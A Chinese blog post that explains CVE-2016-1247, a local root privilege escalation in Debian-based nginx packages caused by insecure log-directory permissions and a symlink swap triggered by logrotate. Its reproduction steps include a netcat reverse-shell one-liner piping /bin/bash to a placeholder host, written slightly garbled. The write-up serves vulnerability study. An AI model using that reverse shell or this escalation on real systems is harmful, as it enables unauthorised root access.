欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

聊聊CVE-2016-1247:nginx本地权限提升漏洞的简易解析

最编程 2024-07-24 08:06:01
...

0x00 漏洞介绍

  -产生原因:Nginx在创建log目录时使用了不安全的权限配置,
  可造成本地权限的提升,攻击手法主要通过从www-data权限向root用   户权限提权得到。
  -影响范围(以下版本之前均受影响):

Debian: Nginx1.6.2-5+deb8u3
Ubuntu 16.04: Nginx1.10.0-0ubuntu0.16.04.3
Ubuntu 14.04: Nginx1.4.6-1ubuntu3.6
Ubuntu 16.10: Nginx1.10.1-0ubuntu1.1

0x01 漏洞复现

A.环境介绍:
  操作机:xp
  目标机:ubuntu 12.04
B.原理分析:
  1.由于nginx服务的配置失误,在基于 debain的 Nginx会在/var/log/nginx路径下,  
 以www-data权限新建日志目录。
 2.该该目录下的error.log文件具有root权限(版本未修复前),这就是我们本次漏洞利用的突破口。
 3.我们通过符号链接的方式可以连到任意文件来替换日志文件,从而实现提权操作。
 4.linux内部提权过程:在文件替换后,nginx就会重新打开日志文件。此时就有两种方式:
  a. reboot ngnix。
  b.nginx demon形式。该形式需要USR1进程间信号,调用信号必然会    重载配置文件;
 该过程通过logrotate脚本调用实现,根本原因是通过脚本中do-rotate函数 触发实现。  

这是该漏洞的根本利用点,也是我们后面写poc和exp的依据。

0x02 漏洞触发与复现

 1.上传提权脚本(放在tem目录下)
 2.nc反弹shell,实现提权(mknod backpipe p; nc ip 9999<backpip|/bin/bash|>backpipe>)
 3.等待logrotation脚本的自动调用。
 4.用who am i 对比权限间的区别。

0x03 漏洞利用

用hook操作改变程序流程,实现所需操作,从而间接实现对函数功能的修改...

0x04 漏洞poc

https://www.seebug.org/vuldb/ssvid-92538

0x05 参考网站

https://security-tracker.debian.org/tracker/CVE-2016-1247](https://security-tracker.debian.org/tracker/CVE-2016-1247)
http://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html